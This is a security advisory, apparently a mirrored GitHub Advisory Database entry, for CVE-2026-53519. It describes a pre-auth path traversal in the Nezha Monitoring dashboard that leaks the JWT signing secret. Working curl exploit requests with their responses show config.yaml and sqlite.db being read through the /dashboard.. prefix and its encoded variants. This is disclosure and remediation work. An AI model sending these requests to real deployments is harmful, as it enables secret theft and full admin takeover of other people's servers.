github.com/nezhahq/nezha
Affected
- introduced
0, fixed2.0.13(semver)
Fixed versions
2.0.13
Fix
- Fixed version
2.0.13go get github.com/nezhahq/[email protected]
Advisory
Also known as: CVE-2026-53519, GO-2026-5828
Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key
SummaryfallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
| Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file |
|---|---|---|---|
| /dashboard/login | /login | admin-dist/login | legitimate, intended |
| /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400 |
| /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 |
| /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
| /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after `TrimPrefix`, downstream of every defense.
Why the existing defenses miss
dashboard and dashboard.. are both accepted.path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.path.Join.PoC
Setup
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
The harness plants this data/config.yaml:
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Observed responses
Primary payload — pre-auth secret disclosure:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
Negative control — Go stdlib guard rejects the canonical form:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
invalid URL path
Encoded-dot variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Encoded-slash variant — bypass also works:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'
HTTP/1.1 200 OK
Content-Length: 167
Content-Type: application/yaml
[... full config.yaml including jwt_secret_key ...]
Double-encoded — confirms the bypass requires single-level encoding:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'
HTTP/1.1 200 OK
Content-Length: 30
Content-Type: text/html; charset=utf-8
<html>admin frontend OK</html>
The literal %252e%252e does not decode to .., so the path becomes admin-dist/%2e%2e/data/config.yaml (no escape), os.Stat fails, and the handler falls through to serving admin-dist/index.html — no secret disclosure.
Encoded leading slash — also blocked at the stdlib layer:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'
HTTP/1.1 400 Bad Request
invalid URL path
SQLite database exfil — same primitive:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'
HTTP/1.1 200 OK
Content-Length: 42
SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY
Sanity checks
/dashboard/ request still serves admin-dist/index.html with HTTP 200 — the bypass does not regress legitimate behavior./api/... still hit the JSON-404 branch — the bypass is isolated to the /dashboard fallback.Impact
Direct primitive
Unauth read of any file in the dashboard's working directory subtree reachable by escaping admin-dist one level. In default deployments that includes:
Critical Basis: The source's own band: CRITICAL
0, fixed 2.0.13 (semver)2.0.13
2.0.13go get github.com/nezhahq/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0